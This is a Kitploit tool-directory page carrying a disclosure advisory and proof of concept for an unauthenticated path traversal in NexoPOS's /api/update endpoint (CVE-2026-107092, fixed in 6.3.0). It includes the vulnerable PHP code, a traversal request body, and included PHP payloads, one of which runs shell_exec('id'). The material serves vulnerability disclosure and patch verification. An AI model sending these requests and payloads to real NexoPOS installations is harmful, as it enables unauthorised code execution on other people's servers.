Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-107092 — Proof-of-concept and technical advisory for CVE-2026-107092, an unauthenticated path traversal in NexoPOS's /api/update endpoint leading to PHP file inclusion and remote code execution. | Kitploit
Tools/GitHubGitHub/raivenlockdown/cve-2026-107092
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPayload DevelopmentRemote Access Trojan
GitHubraivenlockdown/cve-2026-107092

CVE-2026-107092

Proof-of-concept and technical advisory for CVE-2026-107092, an unauthenticated path traversal in NexoPOS's /api/update endpoint leading to PHP file inclusion and remote code execution.

View Repository
228 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    894
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    821
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    649
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    450
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    437
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    389

Explore all tools

Browse our collection of tools

View all tools →
Share

Unauthenticated Path Traversal in NexoPOS Migration Loader Leads to Remote Code Execution

ProductNexoPOS
Affected versions≤ 6.2.4
Fixed in6.3.0 (security-only backport: 6.2.5)
Affected componentPOST /api/update
Vulnerability typePath Traversal → Arbitrary File Inclusion → Remote Code Execution
CWECWE-22 (primary), chained with CWE-306, CWE-98, CWE-94, CWE-78
Authentication requiredNone, for the core vulnerability
StatusReported to the NexoPOS maintainers; fixed in PR #2653; shipped in v6.3.0
CVE IDCVE-2026-107092
ResearcherPyur11 | Raiven Ruetas
SeverityHigh (vendor-classified) | 9.8 Critical by CISA-ADP

Summary

NexoPOS's POST /api/update endpoint is used to run database migration files. The route explicitly disables the application's authentication middleware, so it can be reached without any credentials.

The endpoint accepts a migration filename supplied by the client. That filename is concatenated directly onto the application's modules/ directory to build a filesystem path, and the resulting path is passed to PHP's require(). The application does not resolve the path or verify that it stays inside modules/ before including it.

Because of this, a filename containing directory-traversal sequences (../) can cause the loader to step outside modules/ and include a PHP file located anywhere else the web server process can read. Since require() executes PHP code, this results in arbitrary PHP execution under an unauthenticated, publicly reachable endpoint.

Impact

Arbitrary PHP execution of this kind is equivalent to full remote code execution: any code reachable by require() runs with the privileges of the PHP/web server process. This was confirmed in testing to extend to arbitrary operating-system command execution and to establishing an outbound shell session, demonstrating that the impact is not limited to a single command but to full interactive access at the privilege level of the web server.

Given an unauthenticated entry point and a High-impact outcome (full compromise of confidentiality, integrity, and availability of the affected host), this issue was assessed as High severity.

Vulnerable Code

1. The route removes authentication:

// routes/api/update.php
Route::post('update', [UpdateController::class, 'runMigration'])
    ->withoutMiddleware([Authenticate::class, CheckMigrationStatus::class]);

2. The client-supplied filename is forwarded without validation:

// app/Http/Controllers/UpdateController.php
public function runMigration( Request $request )
{
    if ( $request->input( 'module' ) ) {
        $module = $request->input( 'module' );

        foreach ( $module[ 'migrations' ] as $file ) {
            $response = $this->modulesService->runMigration(
                $module[ 'namespace' ],
                $file
            );
        }
    }

    return [
        'status'  => 'success',
        'message' => __( 'The migration has successfully run.' ),
    ];
}

Note that this endpoint always returns a hard-coded "status": "success" regardless of whether a migration actually executed. A 200 OK response is not, by itself, evidence that code ran; this should be accounted for during independent verification or re-testing.

3. The path is built and included with no containment check:

// app/Services/ModulesService.php
private function __runSingleFile(
    string $method,
    string $namespace,
    string $file
): array
{
    $filePath = base_path( 'modules' ) . DIRECTORY_SEPARATOR . $file;

    // ... class-name derivation omitted ...

    if ( is_file( $filePath ) ) {
        if ( class_exists( $className ) ) {
            return $this->triggerClass( $className, $method );
        } else {
            $object = require $filePath;   // vulnerable sink
            // ...
        }
    }
}

No realpath() resolution is performed, and no check confirms that the resolved path remains inside modules/. A filename such as ../../../../some/other/path.php is therefore sufficient to escape the intended directory.

Proof of Concept

Testing was performed against a researcher-controlled local NexoPOS installation. No third-party systems or data were accessed.

1. The vulnerable request

The unauthenticated migration endpoint accepts a client-supplied filename with no path validation. A relative path from modules/ to a test file placed at /tmp/nexopos-poc.php was used:

POST /api/update HTTP/1.1
Host: nexopos.test
Content-Type: application/json

{
  "module": {
    "namespace": "test",
    "migrations": [
      "../../../../does-not-exist"
    ]
  }
}
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "message": "The migration has successfully run."
}
image

Figure 1 — HTTP request/response showing the unauthenticated /api/update endpoint accepting a traversal-style migration filename and returning a hard-coded success response.

The 200 OK / "success" response is not proof of execution — the controller returns this unconditionally regardless of whether a migration actually ran (see Vulnerable Code, step 2). Execution was instead verified independently.

2. Confirming arbitrary file inclusion

The test file at /tmp/nexopos-poc.php (outside modules/) wrote a unique marker when executed:

<?php
file_put_contents('/tmp/nexopos-traversal-confirmed', 'NEXOPOS_TRAVERSAL_CONFIRMED');

return new class {
    public function up() {}
};
image

Figure 2 — The test PHP file placed outside modules/, with PHP syntax validation confirming it is well-formed before use.

image

Figure 3 — Marker file present on disk after the request in Figure 1, confirming the traversed file was actually included and executed outside modules/.

Confirming the traversed file was actually included and executed by the request above, independently of the endpoint's always-success response. This demonstrates CWE-22 (Path Traversal) chaining into CWE-98 (PHP File Inclusion).

3. Confirming OS command execution

The same primitive was used to confirm the included PHP executes with the privileges of the web server process, by invoking shell_exec():

<?php
file_put_contents('/tmp/nexopos-rce-marker', shell_exec('id 2>&1'));

return new class {
    public function up() {}
};
image

Figure 4 — Updated payload invoking shell_exec('id 2>&1') from within the included PHP file.

image
Download Tool